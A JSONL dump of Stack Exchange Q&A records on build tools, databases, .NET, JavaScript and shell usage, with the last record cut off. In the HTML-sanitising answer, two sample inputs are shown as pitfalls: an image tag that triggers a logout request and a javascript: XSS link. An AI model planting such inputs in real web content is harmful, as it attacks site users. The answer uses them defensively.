{"id": "hf_5ba42a7bf16c", "question": "<p>After many years of using make, I've just started using jam (actually ftjam) for my projects. </p>\n\n<p>In my project workspaces, I have two directories:</p>\n\n<ul>\n<li><code>src</code> where I build executables and libraries</li>\n<li><code>test</code> where my test programs are</li>\n</ul>\n\n<p>I'm trying to set up a dependency on test programs so that each time I compile them, the libraries will be recompiled as well (if they need to).</p>\n\n<p>Any suggestion on how to do it? </p>\n", "question_body": "", "answer": "Ok this seems to be not an as easy question as I thought so I worked out a solution on my own. It uses a script to achieve the end result so I still hope that a Jam guru will have a jam-only solution.\nCreate a Jamrules in the root directory of the project with the common definitions.\nCreate a Jamfile in the root directory of the project with the following content:\n```\nSubDir . ;\n    SubInclude . src ;\n    SubInclude . test ;\n```\nCreate a Jamfile in the src directory\n```\nSubDir .. src ;\n    Library mylib : mylib.c ;\n```\nCreate a Jamfile in the test directory\n```\nSubDir .. test ;\n    Main mytest : mytest.c ; \n    Depends mytest :  mylib$(SUFLIB) ;\n```\nWith this setting, as long as I am in the root directory, whenever I try to build mytest the library will also be recompiled (if needed). I found an old message on the jammer mailing list describing it.\nAlas this doesn't work if I'm in the test subdirectory since jam can only look\ndown\ninto subdirectories.\nSo, I created a simple script called\n```\njmk\n```\nand put it together with the\n```\njam\n```\nexecutable (so that both are in the path):\n```\n```\nif [ \"$JMKROOT\" = \"\" ] ; then\n   JMKROOT=`pwd`\n   export JMKROOT\nfi\ncd $JMKROOT\njam $*\n```\n```\nand I set the JMKROOT environment variable to the root of my project.\nFor when I compile in a Windows shell (that's why I want to use Jam) I simply use this small\n```\njmk.bat\n```\nbatch file:\n```\n```\n@echo off\nif \"%JMKROOT%\" EQU \"\" set JMKROOT=%CD%\n\nset OLDCD=%CD%\ncd %JMKROOT%\njam %1 %2 %3 %4 %5 %6 %7 %8 %9\n\ncd %OLDCD%\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.819627"}
{"id": "hf_5912fec3be8b", "question": "<p>I know there are tools to get text files to resource files for Visual Studio.  But I want to get the text from my resource files to a text file so they can be translated.  Or is there a better way to do this?  </p>\n", "question_body": "", "answer": "You could use\nResx Editor\n, a small translation-oriented file editor.\nTarget audience: translators.\nSupported file format: Microsoft RESX 2.0\nHere is a link to Joannès Vermoel's (the author of the free tool)\nweblog entry\nabout it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.868023"}
{"id": "hf_44ce1208ef3c", "question": "<p>I am using Visual Studio 2005 to make an install.  The application has a dependency on a DLL that was built with MFC 7.1 (from Visual Studio 2003).</p>\n\n<p>Are there merge modules for MFC 7.1 or other redistributables like there are for MFC 8?  Where could they be found?</p>\n", "question_body": "", "answer": "I would expect the merge modules for MFC 7.1 to be in\n```\n%ProgramFiles%\\Microsoft Visual Studio .NET 2003\\redist\n```\n, assuming that you have Visual Studio 2003 installed. (However, I can't verify that because I don't have Visual Studio on this PC.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:40.989176"}
{"id": "hf_d33410225f0d", "question": "<p>How can I find out if SP1 has been installed on a server which has .NET 3.5?</p>\n", "question_body": "", "answer": "Look at\n```\nHKLM\\SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v3.5\\\n```\n. One of these must be true:\nThe\n```\nVersion\n```\nvalue in that key should be\n3.5.30729.01\nOr the\n```\nSP\n```\nvalue in the same key should be\n1\nIn C# (taken from the first comment), you could do something along these lines:\n```\n```\nconst string name = @\"SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\\v3.5\";\nRegistryKey subKey = Registry.LocalMachine.OpenSubKey(name);\nvar version = subKey.GetValue(\"Version\").ToString();\nvar servicePack = subKey.GetValue(\"SP\").ToString();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.102153"}
{"id": "hf_89b80a1cf815", "question": "<p>I have two users Bob and Alice in Oracle, both created by running the following commands as sysdba from sqlplus:</p>\n\n<pre>\n   create user $blah identified by $password;\n   grant resource, connect, create view to $blah;\n</pre>\n\n<p>I want Bob to have complete access to Alice's schema (that is, all tables), but I'm not sure what grant to run, and whether to run it as sysdba or as Alice.</p>\n\n<p>Happy to hear about any good pointers to reference material as well -- don't seem to be able to get a good answer to this from either the Internet or \"Oracle Database 10g The Complete Reference\", which is sitting on my desk.</p>\n", "question_body": "", "answer": "AFAIK you need to do the grants object one at a time.\nTypically you'd use a script to do this, something along the lines of:\n```\n```\nSELECT 'GRANT ALL ON '||table_name||' TO BOB;'\nFROM   ALL_TABLES\nWHERE  OWNER = 'ALICE';\n```\n```\nAnd similar for other db objects.\nYou could put a package in each schema that you need to issue the grant from which will go through all call each GRANT statement via an EXECUTE IMMEDIATE.\ne.g.\n```\n```\nPROCEDURE GRANT_TABLES\n   IS\n   BEGIN\n\n      FOR tab IN (SELECT table_name\n                  FROM   all_tables\n                  WHERE  owner = this_user) LOOP\n         EXECUTE IMMEDIATE 'GRANT SELECT, INSERT, UPDATE, DELETE ON '||tab.table_name||' TO other_user';\n      END LOOP;\n   END;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.149749"}
{"id": "hf_87400f25c06c", "question": "<p>I have a fairly simple const struct in some C code that simply holds a few pointers and would like to initialize it statically if possible. Can I and, if so, how?</p>\n", "question_body": "", "answer": "You can, if the pointers point to global objects:\n```\n```\n// In global scope\nint x, y;\nconst struct {int *px, *py; } s = {&x, &y};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.174463"}
{"id": "hf_93dca4b296dc", "question": "<p>My goal is to recognize simple gestures from accelerometers mounted on a sun spot. A gesture could be as simple as rotating the device or moving the device in several different motions. The device currently only has accelerometers but we are considering adding gyroscopes if it would make it easier/more accurate. </p>\n\n<p>Does anyone have recommendations for how to do this? Any available libraries in Java? Sample projects you recommend I check out? Papers you recommend?</p>\n\n<p>The sun spot is a Java platform to help you make quick prototypes of systems. It is programmed using Java and can relay commands back to a base station attached to a computer. If I need to explain how the hardware works more leave a comment.</p>\n", "question_body": "", "answer": "The accelerometers will be registering a constant acceleration due to gravity, plus any acceleration the device is subjected to by the user, plus noise.\nYou will need to low pass filter the samples to get rid of as much irrelevant noise as you can. The worst of the noise will generally be higher frequency than any possible human-induced acceleration.\nRealise that when the device is not being accelerated by the user, the only force is due to gravity, and therefore you can\ndeduce its attitude\nin space. Moreover, when the total acceleration varies greatly from 1g, it must be due to the user accelerating the device; by subtracting last known estimate of gravity, you can roughly estimate in what direction and by how much the user is accelerating the device, and so obtain data you can begin to match against a list of known gestures.\nWith a single three-axis accelerometer you can detect the current pitch and roll, and also acceleration of the device in a straight line. Integrating acceleration minus gravity will give you an estimate of current velocity, but the estimate will rapidly drift away from reality due to noise; you will have to make assumptions about the user's behaviour before /  between / during gestures, and guide them through your UI, to provide points where the device is not being accelerated and you can reset your estimates and reliably estimate the direction of gravity. Integrating again to find position is unlikely to provide usable results over any useful length of time at all.\nIf you have two three-axis accelerometers some distance apart, or one and some gyros, you can also detect rotation of the device (by comparing the acceleration vectors, or from the gyros directly); integrating angular momentum over a couple of seconds will give you an estimate of current yaw relative to that when you started integrating, but again this will drift out of true rapidly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.239816"}
{"id": "hf_81139cd42c79", "question": "<p>I'm in need of a lightweight library for 2d &amp; 3d vectors and 3x3 &amp; 4x4 matrices. In basic C.\nJust so I don't reinvent the wheel suboptimally.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "Assuming you're coding for x86, you might look into Intel's\nIntegrated Performance Primitives\n(IPP) and\nMath Kernel Library\n(MKL).  These provide super-duper-fast libraries (probably faster than anyone else could write, since they're optimized for non-public microarchitecture details) for lots of common operations, including vectors and matrices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.276188"}
{"id": "hf_2e734c66d249", "question": "<p>It seems like Microsoft had a great idea with the ObservableCollection.  They are great for binding, and are super fast on the UI.</p>\n\n<p>However, requiring a context switch to the Dispatcher Thread every time you want to tweak it seems like a bit much.  Does anyone know the best practices for using them?  Is it simply to populate an ICollection as a message object in the business layer, then create the ObservableCollection in the UI layer?  How do you then handle updates to the collection on the UI?</p>\n", "question_body": "", "answer": "Is updating the ObservableCollection on the UI thread really causing that much of a bottleneck for your application? If not, stick with updating it on the UI thread. Remember, it's not really a context switch that's happening when you run something with the Dispatcher - instead, you're simply submitting a job to the UI thread, which is an already running thread, which the OS will context switch to at some point anyway. The UI thread pulls your submitted job off of an internal queue and executes it. You're not forcing the context switch yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.313605"}
{"id": "hf_2339564ca6de", "question": "<p>I'm looking for best practices for performing strict (whitelist) validation/filtering of user-submitted HTML.</p>\n\n<p>Main purpose is to filter out XSS and similar nasties that may be entered via web forms.  Secondary purpose is to limit breakage of HTML content entered by non-technical users e.g. via WYSIWYG editor that has an HTML view.</p>\n\n<p>I'm considering using <a href=\"http://htmlpurifier.org\" rel=\"noreferrer\">HTML Purifier</a>, or rolling my own by using an HTML DOM parser to go through a process like HTML(dirty)->DOM(dirty)->filter->DOM(clean)->HTML(clean).</p>\n\n<p>Can you describe successes with these or any easier strategies that are also effective?  Any pitfalls to watch out for?</p>\n", "question_body": "", "answer": "User-submitted HTML isn't always valid, or indeed complete. Browsers will interpret a wide range of invalid HTML and you should make sure you can catch it.\nAlso be aware of the valid-looking:\n```\n```\n<img src=\"http://www.mysite.com/logout\" />\n```\n```\nand\n```\n```\n<a href=\"javascript:alert('xss hole');\">click</a>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.362666"}
{"id": "hf_13bfa3fb7b40", "question": "<p>What is the difference between these three heavily related fields? Is there one specific whole they are all a part of (aside from CS)?</p>\n", "question_body": "", "answer": "Machine Learning\ncould\nbe considered a part of AI, however I would classify Machine Learning as the study of creation of semantic models and adaptive behavior with AI being the overall science of systems that intelligent-seeming behavior.\nMost of what goes as \"AI\" is rather simplistic, but highly effective, such as heuristics and the like.\nSoft Computing doesn't fell like it has many ML and AI components as it is more about analysis of complex systems.  I could be wrong though.  As with most things in computer science, the deeper you dig, the more you discover that it's all related.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.426222"}
{"id": "hf_1e88c0927d80", "question": "<p>I've got a file whose format I'm altering via a python script.  I have several camel cased strings in this file where I just want to insert a single space before the capital letter - so \"WordWordWord\" becomes \"Word Word Word\".</p>\n\n<p>My limited regex experience just stalled out on me - can someone think of a decent regex to do this, or (better yet) is there a more pythonic way to do this that I'm missing?</p>\n", "question_body": "", "answer": "You could try:\n```\n```\n>>> re.sub(r\"(\\w)([A-Z])\", r\"\\1 \\2\", \"WordWordWord\")\n'Word Word Word'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.450039"}
{"id": "hf_d1d9325d9dd5", "question": "<p>I've declared Javascript arrays in such a way that I could then access them by a key, but it was a long time ago, and I've forgotten how I did it.</p>\n\n<p>Basically, I have two fields I want to store, a unique key, and its value. I know there is a way to do it.. something like:</p>\n\n<pre><code>var jsArray = new {key: 'test test', value: 'value value'},\n              new {key: 'test 2', value: 'value 2'};\n</code></pre>\n\n<p>and accessed like:</p>\n\n<pre><code>value = jsArray[key]\n</code></pre>\n\n<p>Can someone remind me?</p>\n", "question_body": "", "answer": "You can do it in different ways:\n```\n```\nvar a = {'a':0, 'b':1, 'c':2};\n\nvar b = new Array();\nb['a'] = 0;\nb['b'] = 1;\nb['c'] = 2;\n\nvar c = new Object();\nc.a = 0;\nc.b = 1;\nc.c = 2;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.473040"}
{"id": "hf_d92ed1774c50", "question": "<p>Is it possible to play video from data that has been embedded in a swf at compile time (with the <code>[Embed]</code> metatag)?</p>\n\n<p>The \"Import Video->Embed\" feature provided by Flash CS3 etc. is not acceptable because it has many severe limitations (including sound synchronization issues, a maximum number of frames, and other caveats)</p>\n\n<p>I'm interested in being able to bundle flv video data in a swf (along with other assets), which will be played by an AIR application.</p>\n\n<p>I don't think it can be done. Anyone disagree?</p>\n", "question_body": "", "answer": "You can import a flv into a swf file using the Flash IDE - I've done that before. You can drop it onto the timeline of a MovieClip just like a sound and then drop that movieclip onto the stage for it to play. In Flash CS3 do File>Import>Import Video and select the flv. Choose the video and then on the next stop of the wizard choose \"Embed ..... \", Here is a link to an\nAdobe Developer center article on embedding flvs into swfs\n.\nI have not done so myself, but I can see no reason why you could access the flv from the library of a loaded swf.\nFYI: It looks like this was a bug that was deferred. It doesn't look like Adobe currently allows embedding using the Embed meta tag. Here is a\nforum post\non the issue and a link to the\nbug tracker\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.497033"}
{"id": "hf_5f59012f540f", "question": "<p>Looking for a toolkit/SDK for general Blackberry development or application toolkits. Anything like an MVC framework?</p>\n", "question_body": "", "answer": "My understanding is that blackberry's OS is Java ME - based, and that there's a decent development kit for them.  I presume you have already\nlooked over everything here\n... you can find a lot of information, including the development kit download link.\nRegarding model-view-controller, there's no particular framework to my knowledge, but I don't see why you wouldn't be able to take MVC as an approach in the paradigmatic sense.  Google has resources out there on java developers working with MVC.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.525286"}
{"id": "hf_860bfdfe6d1d", "question": "<p>Looking at MVC framework, it seems we require more of classic ASP knowledge then ASP.NET postbacks and Viewstates. Are we moving backwards to complex UI + code logic in the actual frontend HTML markup?</p>\n", "question_body": "", "answer": "This is funny that you mention this ... I was having the same conversation with a co-worker today.\nIs it a step moving backwards?  I don't think so ... while in classic asp you had a some complex logic in the UI, from what I can see with MVC, the complex logic should still be in your business objects, and any complex interaction with the object should be done via the Controller.\nThe goal, again, from what I can see, is to keep the UI trim and fit when it comes to actual business logic.  Any additional bloat would be caused by making the UI more user friendly, with the likes of AJAX and JQuery.\nThis is just my initial observation regarding MVC.  It is a very cool technology, especially with how it sits on top of REST, makes it very easy to work with from other technologies.\nI'm looking forward to trying it out in a couple of future projects!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.549912"}
{"id": "hf_fa7cbba6d2bc", "question": "<p>A similar question was asked <a href=\"https://stackoverflow.com/questions/198931/how-do-i-tell-if-net-35-sp1-is-installed\">here</a>, but it was specific to .NET 3.5. Specifically, I'm looking for the following:</p>\n\n<ol>\n<li>What is the correct way to determine which .NET Framework versions and service packs are installed?</li>\n<li>Is there a list of registry keys that can be used?</li>\n<li>Are there any dependencies between Framework versions?</li>\n</ol>\n", "question_body": "", "answer": "Enumerate the subkeys of\n```\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\NET Framework Setup\\NDP\n```\n. Each subkey is a\n.NET\nversion. It should have\n```\nInstall=1\n```\nvalue if it's present on the machine, an SP value that shows the service pack and an\n```\nMSI=1\n```\nvalue if it was installed using an MSI. (.NET 2.0 on Windows Vista doesn't have the last one for example, as it is part of the OS.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.574718"}
{"id": "hf_61e6b3fa4201", "question": "<p>I'm using <code>$.post()</code> to call a servlet using Ajax and then using the resulting HTML fragment to replace a <code>div</code> element in the user's current page. However, if the session times out, the server sends a redirect directive to send the user to the login page. In this case, jQuery is replacing the <code>div</code> element with the contents of the login page, forcing the user's eyes to witness a rare scene indeed. </p>\n\n<p>How can I manage a redirect directive from an Ajax call with jQuery 1.2.6?</p>\n", "question_body": "", "answer": "Use the low-level\n```\n$.ajax()\n```\ncall:\n```\n```\n$.ajax({\n  url: \"/yourservlet\",\n  data: { },\n  complete: function(xmlHttp) {\n    // xmlHttp is a XMLHttpRquest object\n    alert(xmlHttp.status);\n  }\n});\n```\n```\nTry this for a redirect:\n```\n```\nif (xmlHttp.code != 200) {\n  top.location.href = '/some/other/page';\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.612141"}
{"id": "hf_6ec073e49659", "question": "<p>I have a <code>BasePage</code> which inherits from <code>System.Web.UI.Page</code>, and every page that inherits the <code>BasePage</code> will have the same master page.</p>\n\n<p>How do I cast the <code>Page.Master</code> of the <code>BasePage</code> to the specific master page so I can access properties on it?</p>\n", "question_body": "", "answer": "In VB.Net\n```\n```\nMasterPageVariable = Ctype(page.MasterPage, MasterPageClass)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.647572"}
{"id": "hf_26a396db4ed2", "question": "<p>I dont know if I should use the httpcontext caching or the Enterprise Library Caching Application Block. Also, what is the best pattern for the caching Strategy when deleting or updating an entity that is part of a cached list?</p>\n\n<p>Should I remove all of a list from the cache or only remove the item from the cached list?\nIf I update it will I remove the list from the cache or update the entity in it.</p>\n", "question_body": "", "answer": "There are several approaches to implement caching,httpcontext being the easiest one, but it's not necessarily the worst. Take a look at\nmemcached\nor\nMS Velocity\n, both of which can be used as backends for the ASP.NET Cache. Especially memcached has a reputation of doing a really good job.\nAs for caching policy: you have to decide what works best for you.I personally would remove the complete list from the cache upon update/delete  rather than trying to find out whether the entity is in the list, since it takes a non-trivial amount of time and you need to take concurrency issues into account (locking the list, since somebody might do an update/delete of another entity). \nSometimes it does make sense to update an entity in place (if you have a complete object with all data you need), sometimes it's a waste of time, because due to some state change the entity should move somewhere else (e.g. when you sort by LastChangedDate etc.)\nDon't forget to optimize your DB code too so that it does not take too much time to refresh the flushed list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.697212"}
{"id": "hf_9568ffc6b4c9", "question": "<p>I'm trying to link a Qt application with its libraries and the linker (MinGW) spews hundreds of lines like the following, and I am unsure how to proceed.</p>\n\n<pre>\n cpp: undefined reference to `_Unwind_SjLj_Register'\n c:/qt/lib/libQtCore.a(qcoreapplication_win.o)(.text+0x29d):qcoreapplication_win.\n cpp: undefined reference to `_Unwind_SjLj_Unregister'\n c:/qt/lib/libQtCore.a(qcoreapplication_win.o)(.text+0x38c):qcoreapplication_win.\n cpp: undefined reference to `_Unwind_SjLj_Resume'\n c:/qt/lib/libQtCore.a(qcoreapplication_win.o)(.text+0x4ce):qcoreapplication_win.\n cpp: undefined reference to `_Unwind_SjLj_Register'\n c:/qt/lib/libQtCore.a(qcoreapplication_win.o)(.text+0x53e):qcoreapplication_win.\n cpp: undefined reference to `_Unwind_SjLj_Unregister'\n c:/qt/lib/libQtCore.a(qcoreapplication_win.o)(.text+0x635):qcoreapplication_win.\n cpp: undefined reference to `_Unwind_SjLj_Resume'\n</pre>\n", "question_body": "", "answer": "It's been a while since I did any Qt development, but there were only a couple instances that I remember spewing out huge numbers of messages like this.\nInclude files for Qt were a\ndifferent version than the shared\nlibraries ... this happened when I\nupgraded and for some reason, you\nhad to manually upgrade the include\nfiles.\nThe Qt libraries were missing altogether ... I vaguely remember the compiler working, but the linker failing when I first started.\nI was doing Qt development targeted at an ARM processor, so I had extra oddities involved when cross-compiling.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.744103"}
{"id": "hf_9b5c950b7379", "question": "<p>we have users in each region of the world.  I would like to create an environment picker that shows up a map on the form and has a link for each region.  So if i was in NY i would click NY and would get the NY environment.  Any ideas of doing this dynamically in winforms as opposed to having a static map image.</p>\n", "question_body": "", "answer": "I may be misreading the question, but it sounds like you want something akin to how the old-school\nWindows time zone picker\nworked. The rest of this is based on that assumption, so if I'm wrong, feel free to disregard.\nYou are, in effect, dealing with an image of a world (or national, or regional, etc.) map, with clickable \"hotspots.\" Given that, you need some form of image to start with. :)\nNow you have two choices: You can embed a bitmap image of your map in the application, or you can draw it yourself using GDI+ primitives. Either way, you would display it on the form, and wire up the MouseUp event for the various hotspots. (The MouseUp event, I believe, includes the X,Y coordinates of where the user clicked.)\nIf you wanted to get really fancy, you could change the mouse pointer on the MouseOver event if the user is in the defined hotspots.\nEither way, it's a great UI -- very visual, very in tune with how people think -- but it will be time-intensive to code correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.801926"}
{"id": "hf_5db917eb601b", "question": "<p>The only thing I can get python omnicomplete to work with are system modules. I get nothing for help with modules in my site-packages or modules that I'm currently working on.</p>\n", "question_body": "", "answer": "Just ran across this on Python reddit tonight:\nPySmell\n. Looks like what you're looking for.\nPySmell is a python IDE completion helper.\nIt tries to statically analyze Python source code, without executing it, and generates information about a project’s structure that IDE tools can use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.838295"}
{"id": "hf_a1cb93b0b846", "question": "<p>I'm working on a program that is form based but I have been asked to add some command line support, this works fine apart from the form flashes up and closes down when running from the command line. Is there anyway to hide the form whilst the command line is running? Some code does refer to controls so the gui would need to be accessible but not visible, is this workable?</p>\n", "question_body": "", "answer": "In your Main method you can create the form such as:\n```\n```\nmain = new MainForm();\n```\n```\nthen do any command line processing required.\nWhen not in command line mode simply call:\n```\n```\nApplication.Run(main);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.863245"}
{"id": "hf_1501b1f3307b", "question": "<p>How do I check if a number is a palindrome?</p>\n\n<p>Any language. Any algorithm. (except the algorithm of making the number a string and then reversing the string).</p>\n", "question_body": "", "answer": "This is\none of the Project Euler problems\n.  When I solved it in Haskell I did exactly what you suggest, convert the number to a String.  It's then trivial to check that the string is a pallindrome.  If it performs well enough, then why bother making it more complex?  Being a pallindrome is a lexical property rather than a mathematical one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.888265"}
{"id": "hf_e41b38b29f8e", "question": "<p>I've seen several responses to questions asking for IDEs where text editors were suggested and vice-versa. That makes me think that people treat them as the same thing, where I draw clear distinctions.</p>\n\n<ol>\n<li>How do you define \"text editor\" and \"IDE\"?</li>\n<li>Do you see a difference between the two tools?</li>\n</ol>\n\n<p>Note that I accepted an answer which I think best addressed the concepts of \"text editor\" and \"IDE\". However, it's just my personal opinion of what best addresses the question and I will continue to check in on this question from time to time to see if there's a better answer and I will accept that one.</p>\n", "question_body": "", "answer": "The confusion arises from the fact that a text editor is a core component of every IDE. But, an IDE has much more than just a text editor; it also has interfaces to compilers, debuggers, profilers, reference material, and more.\nMany text editors have plugins or other flexible extension mechanisms, often including the ability to \"wrap\" external tools like those I mentioned above. The key difference, IMHO, is the \"I\" in IDE - integrated. An IDE is (again, IMHO) something that's purposefully designed to support a specific set of tools, one of which is a text editor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.912153"}
{"id": "hf_d5fbc4636f09", "question": "<p>I'm writing a lightweight XML editor, and in cases where the user's input is not well formed, I would like to indicate to the user where the problem is, or at least where the first problem is.  Does anyone know of an existing algorithm for this?  If looking at code helps, if I could fill in the FindIndexOfInvalidXml method (or something like it), this would answer my question.</p>\n\n<pre><code>using System;\n\nnamespace TempConsoleApp\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            string text = \"&lt;?xml version=\\\"1.0\\\"?&gt;&lt;tag1&gt;&lt;tag2&gt;Some text.&lt;/taagg2&gt;&lt;/tag1&gt;\";\n            int index = FindIndexOfInvalidXml(text);\n            Console.WriteLine(index);\n        }\n\n        private static int FindIndexOfInvalidXml(string theString)\n        {\n            int index = -1;\n\n            //Some logic\n\n            return index;\n        }\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Unless this is an academic exercise, I think that writing your own XML parser is probably not the best way to go about this.  I would probably check out the\nXmlDocument class\nwithin the System.Xml namespace and try/catch\nexceptions\nfor the Load() or LoadXml() methods.  The exception's message property should contain info on where the error occurred (row/col numbers) and I suspect it'd be easier to use a regular expression to extract those error messages and the related positional info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:41.958598"}
{"id": "hf_75c75b233aae", "question": "<p>How can I make xargs execute the command exactly once for each line of input given?\nIt's default behavior is to chunk the lines and execute the command once, passing multiple lines to each instance. </p>\n\n<blockquote>\n  <p>From <a href=\"http://en.wikipedia.org/wiki/Xargs\" rel=\"noreferrer\">http://en.wikipedia.org/wiki/Xargs</a>: </p>\n  \n  <p>find /path -type f -print0 | xargs -0 rm</p>\n  \n  <p>In this example, find feeds the input of xargs with a long list of file names. xargs then splits this list into sublists and calls rm once for every sublist. This is more efficient than this functionally equivalent version:</p>\n  \n  <p>find /path -type f -exec rm '{}' \\;</p>\n</blockquote>\n\n<p>I know that find has the \"exec\" flag.  I am just quoting an illustrative example from another resource.</p>\n", "question_body": "", "answer": "The following will only work if you do not have spaces in your input:\n```\n```\nxargs -L 1\nxargs --max-lines=1 # synonym for the -L option\n```\n```\nfrom the man page:\n```\n```\n-L max-lines\n          Use at most max-lines nonblank input lines per command line.\n          Trailing blanks cause an input line to be logically continued  on\n          the next input line.  Implies -x.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": 